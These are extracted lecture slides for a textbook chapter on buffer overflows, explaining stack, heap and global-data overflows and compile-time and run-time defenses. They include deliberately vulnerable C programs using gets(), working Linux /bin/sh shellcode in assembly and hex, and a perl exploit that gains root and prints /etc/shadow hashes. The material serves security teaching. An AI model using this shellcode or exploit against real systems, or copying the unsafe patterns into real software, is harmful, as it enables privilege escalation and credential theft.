Computer Security:
Principles and Practice
Chapter 11 – Buffer Overflow
First Edition
by William Stallings and Lawrie Brown
Lecture slides by Lawrie Brown
Buffer Overflow
a very common attack mechanism
from 1988 Morris Worm to Code Red,
Slammer, Sasser and many others
prevention techniques known
still of major concern due to
legacy of widely deployed buggy
continued careless programming techniques
Buffer Overflow Basics
caused by programming error
allows more data to be stored than
capacity available in a fixed sized buffer
buffer can be on stack, heap, global data
overwriting adjacent memory locations
corruption of program data
unexpected transfer of control
memory access violation
execution of code chosen by attacker
Buffer Overflow Example
int main( int argc, char * argv[]) {
int valid = FALSE;
char str1[8];
char str2[8];
next _tag(str1);
gets(str2);
if ( strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", st r1, str2, valid);
}
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Buffer Overflow Example
Memory Before After Contains
Address gets(str2) gets(str2) Value of
. . . . . . . . . . . .
bffffbf4 34fcffbf 34fcffbf argv
4 . . . 3 . . .
bffffbf0 01000000 01000000 argc
. . . . . . . .
bffffbec c6bd0340 c6bd0340 return
. . . @ . . . @ addr
bffffbe8 08fcffbf 08fcffbf old base
. . . . . . . . ptr
bffffbe4 00000000 01000000 valid
. . . . . . . .
bffffbe0 80640140 00640140
. d . @ . d . @
bffffbdc 54001540 4e505554 str1[4-7]
T . . @ N P U T
bffffbd8 53544152 42414449 str1[0-3]
S T A R B A D I
bffffbd4 00850408 4e505554 str2[4-7]
. . . . N P U T
bffffbd0 30561540 42414449 str2[0-3]
0 V . @ B A D I
. . . . . . . . . . . .
Buffer Overflow Attacks
to exploit a buffer overflow an attacker
must identify a buffer overflow vulnerability in
some program
• inspection, tracing execution, fuzzing tools
understand how buffer is stored in memory
and determine potential for corruption
A Little Programming
Language History
at machine level all data an array of bytes
interpretation depends on instructions used
modern high-level languages have a strong
notion of type and valid operations
not vulnerable to buffer overflows
does incur overhead, some limits on use
C and related languages have high-level control
structures, but allow direct access to memory
hence are vulnerable to buffer overflow
have a large legacy of widely used, unsafe, and
hence vulnerable code
Function Calls and Stack Frames
Stack Buffer Overflow
occurs when buffer is located on stack
used by Morris Worm
“Smashing the Stack” paper popularized it
have local variables below saved frame
pointer and return address
hence overflow of a local buffer can
potentially overwrite these key control items
attacker overwrites return address with
address of desired code
program, system library or loaded in buffer
Programs and Processes
Stack Overflow Example
void hello(char *tag)
{
char inp[16];
printf("Enter value for %s: ", tag);
gets(inp);
printf("Hello your %s is %s\n", tag,inp);
}
$ cc -g -o buffer2 buffer2.c
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done
$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
$ perl -e 'print pack("H*",
"414243444546474851525354555657586162636465666768
08fcffbf948304080a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)
Stack Overflow Example
Memory Before After Contains
Address gets( inp) gets( inp) Value of
. . . . . . . . . . . .
bffffbe0 3e850408 00850408 tag
> . . . . . . .
bffffbdc f0830408 94830408 return
. . . . . . . . addr
bffffbd8 e8fbffbf e8ffffbf old base
. . . . . . . . ptr
bffffbd4 60840408 65666768
` . . . e f g h
bffffbd0 30561540 61626364
0 V . @ a b c d
bffffbcc 1b840408 55565758 inp[12-15]
. . . . U V W X
bffffbc8 e8fbffbf 51525354 inp[8-11]
. . . . Q R S T
bffffbc4 3cfcffbf 45464748 inp[4-7]
< . . . E F G H
bffffbc0 34fcffbf 41424344 inp[0-3]
4 . . . A B C D
. . . . . . . . . . . .
Another Stack Overflow
void getinp(char *inp, int siz)
{
puts("Input value: ");
fgets(inp, siz, stdin);
printf("buffer3 getinp read %s\n", inp);
}
void display(char *val)
{
char tmp[16];
sprintf(tmp, "read val: %s\n", val);
puts(tmp);
}
int main(int argc, char *argv[])
{
char buf[16];
getinp(buf, sizeof(buf));
display(buf);
printf("buffer3 done\n");
}
Another Stack Overflow
Shellcode
code supplied by attacker
often saved in buffer being overflowed
traditionally transferred control to a shell
machine code
specific to processor and operating system
traditionally needed good assembly language
skills to create
more recently have automated sites/tools
Shellcode Development
illustrate with classic Intel Linux shellcode
to run Bourne shell interpreter
shellcode must
marshall argument for execve() and call it
include all code to invoke system function
be position-independent
not contain NULLs (C string terminator)
Example Shellcode
nop
nop // end of nop sled
jmp find // jump to end of code
cont: pop %esi // pop address of sh off stack into %esi
xor %eax,%eax // zero contents of EAX
mov %al,0x7(%esi) // copy zero byte to end of string sh (%esi)
lea (%esi),%ebx // load address of sh (%esi) into %ebx
mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c)
mov $0xb,%al // copy execve syscall number (11) to AL
mov %esi,%ebx // copy address of sh (%esi) t0 %ebx
lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
int $0x80 // software interrupt to execute syscall
find: call cont // call cont which saves next address on stack
sh: .string "/bin/sh " // string constant
args: .long 0 // space used for args array
.long 0 // args[1] and also NULL for env array
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
Example Stack Overflow Attack
$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090
" .
"90909090909090909090909090909090
" .
"9090eb1a5e31c08846078d1e895e0889
" .
"460cb00b89f38d4e088d560ccd80e8e1
" .
"ffffff2f62696e2f7368202020202020" .
"202020202020202038fcffbfc0fbffbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'
$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is
e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...
More Stack Overflow Variants
target program can be:
a trusted system utility
network service daemon
commonly used library code, e.g. image
shellcode functions
spawn shell
create listener to launch shell on connect
create reverse connection to attacker
flush firewall rules
break out of choot environment
Buffer Overflow Defenses
buffer overflows are widely exploited
large amount of vulnerable code in use
despite cause and countermeasures known
two broad defense approaches
compile-time - harden new programs
run-time - handle attacks on existing programs
Compile-Time Defenses:
Programming Language
use a modern high-level languages with
strong typing
not vulnerable to buffer overflow
compiler enforces range checks and
permissible operations on variables
do have cost in resource use
and restrictions on access to hardware
so still need some code inC like languagesl
Compile-Time Defenses:
Safe Coding Techniques
if using potentially unsafe languages eg C
programmer must explicitly write safe code
by design with new code
after code review of existing code, cf OpenBSD
buffer overflow safety a subset of general
safe coding techniques (Ch 12)
allow for graceful failure
checking have sufficient space in any buffer
Compile-Time Defenses:
Language Extension,
Safe Libraries
have proposals for safety extensions to C
performance penalties
must compile programs with special compiler
have several safer standard library variants
new functions, e.g. strlcpy()
safer re-implementation of standard functions
as a dynamic library, e.g. Libsafe
Compile-Time Defenses:
Stack Protection
add function entry and exit code to check stack
for signs of corruption
use random canary
e.g. Stackguard, Win /GS
check for overwrite between local variables and saved
frame pointer and return address
abort program if change found
issues: recompilation, debugger support
or save/check safe copy of return address
e.g. Stackshield, RAD
Run-Time Defenses:
Non Executable Address Space
use virtual memory support to make some
regions of memory non-executable
e.g. stack, heap, global data
need h/w support in MMU
long existed on SPARC / Solaris systems
recent on x86 Linux/Unix/Windows systems
issues: support for executable stack code
need special provisions
Run-Time Defenses:
Address Space Randomization
manipulate location of key data structures
stack, heap, global data
using random shift for each process
have large address range on modern systems
means wasting some has negligible impact
also randomize location of heap buffers
and location of standard library functions
Run-Time Defenses:
Guard Pages
place guard pages between critical regions
of memory
flagged in MMU as illegal addresses
any access aborts process
can even place between stack frames and
heap buffers
at execution time and space cost
Other Overflow Attacks
have a range of other attack variants
stack overflow variants
heap overflow
global data overflow
format string overflow
integer overflow
more likely to be discovered in future
some cannot be prevented except by
coding to prevent originally
Replacement Stack Frame
stack overflow variant just rewrites buffer
and saved frame pointer
so return occurs but to dummy frame
return of calling function controlled by attacker
used when have limited buffer overflow
e.g. off by one
limitations
must know exact address of buffer
calling function executes with dummy frame
Return to System Call
stack overflow variant replaces return
address with standard library function
response to non-executable stack defences
attacker constructs suitable parameters on
stack above return address
function returns and library function executes
• e.g. system(“shell commands”)
attacker may need exact buffer address
can even chain two library calls
Heap Overflow
also attack buffer located in heap
typically located above program code
memory requested by programs to use in
dynamic data structures, e.g. linked lists
no return address
hence no easy transfer of control
may have function pointers can exploit
or manipulate management data structures
defenses: non executable or random heap
Heap Overflow Example
/* record type to allocate on heap */
typedef struct chunk {
char inp[64]; /* vulnerable input buffer */
void (*process)(char *); /* pointer to function */
} chunk_t;
void showlen(char *buf) {
int len; len = strlen(buf);
printf("buffer5 read %d chars\n",len);
}
int main(int argc, char *argv[]) {
chunk_t *next;
setbuf(stdin, NULL);
next = malloc(sizeof(chunk_t));
next->process = showlen;
printf("Enter value: ");
gets(next->inp);
next->process(next->inp);
printf("buffer5 done\n");
}
Heap Overflow Example
$ attack2 | buffer5
Enter value:
root
root:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIML$/yVHPQuw5kvlUFJs3b9aj/:13347:0:99999:7:::
...
Global Data Overflow
can attack buffer located in global data
may be located above program code
if has function pointer and vulnerable buffer
or adjacent process management tables
aim to overwrite function pointer later called
defenses: non executable or random
global data region, move function pointers,
guard pages
Global Data Overflow Example
/* global static data - targeted for attack */
struct chunk {
char inp[64]; /* input buffer */
void (*process)(char *); /* ptr to function */
} chunk;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer6 read %d chars\n", len);
}
int main(int argc, char *argv[])
{
setbuf(stdin, NULL);
chunk.process = showlen;
printf("Enter value: ");
gets(chunk.inp);
chunk.process(chunk.inp);
printf("buffer6 done\n");
}
Summary
introduced basic buffer overflow attacks
stack buffer overflow details
shellcode
defenses
compile-time, run-time
other related forms of attack
replacement stack frame, return to system
call, heap overflow, global data overflow